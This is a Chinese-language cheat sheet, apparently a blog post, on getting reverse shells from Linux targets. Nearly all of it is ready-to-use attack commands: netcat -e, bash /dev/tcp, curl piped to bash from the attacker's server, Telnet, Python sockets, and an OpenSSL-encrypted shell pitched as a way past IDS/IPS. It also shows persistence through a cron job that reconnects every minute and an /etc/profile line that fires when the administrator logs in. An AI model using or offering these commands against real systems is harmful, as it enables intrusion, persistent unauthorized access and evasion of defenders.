1.netcat反弹shell

由于出于安全考虑,原生版本的netcat反弹本地shell的功能参数 -e 都被阉割了,所以我们可以自己手动下载二进制安装包,安装的如下:

1
2
3
4
5
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

  • 攻击机开启监听

    1
    nc -lvp 2333
  • 目标主机主动连接

    1
    2
    nc 47.xxx.xxx.72 2333 -e /bin/bash
    # nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

2 利用bash反弹shell

反弹shell最好的方法就是使用bash结合重定向方法的一句话,具体命令如下:

1
2
3
4
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
命令 详解
bash -i 构造一个bash环境
>& 将联合符号前面的内容和后面的内容结合起来 一起重定向给后者
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

完整的解读过程:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

  • 攻击机开启本地监听

    1
    nc -lvp 2333
  • 目标机主动连接

    1
    bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

3.curl配合bash反弹shell

在攻击者vps中创建一个index文件 。内容为:

1
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

并在本vps上开启2333口进行监听。

再在目标机上执行如下的命令,即可反弹shell:

1
curl 47.xxx.xxx.72|bash

curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

4.将反弹shell的命令写入到定时任务中

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是我们必须要知道当前用户的名称,因为我们的反弹shell命令 是要写入到 /var/spool/cron/[crontabs]/

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

1
2
*/1  *  *  *  *   /bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

5.将反弹shell的命令写入到 /etc/profile文件

将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。

1
2
/bin/bash -i >& /dev/tcp/47.xxx.xxx.29/2333 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令

当目标主机管理员远程连接该主机时,就会执行该命令.

6.利用Telnet反弹shel

当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。

  • 攻击机开启本地监听

    1
    nc -lvvp 2333
  • 目标机主动连接攻击机:

    1
    mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

7.python反弹shell

  • 本地开启监听

    1
    nc -lvvp 2333
  • 目标主机连接攻击机

    1
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

反弹shell之后获得模拟终端

在获得shell的终端中输入命令,即可模拟一个终端设备

1
python -c "import pty;pty.spawn('/bin/bash')"

使用openssl 反弹加密的shell

我发现我们所使用的反弹 shell的 方式都有一个缺点,那就是所有的流量都是明文传输的。这些通过shell通过传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时(IDS、IPS等),网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信的内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密的 shell。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

1
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可.

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。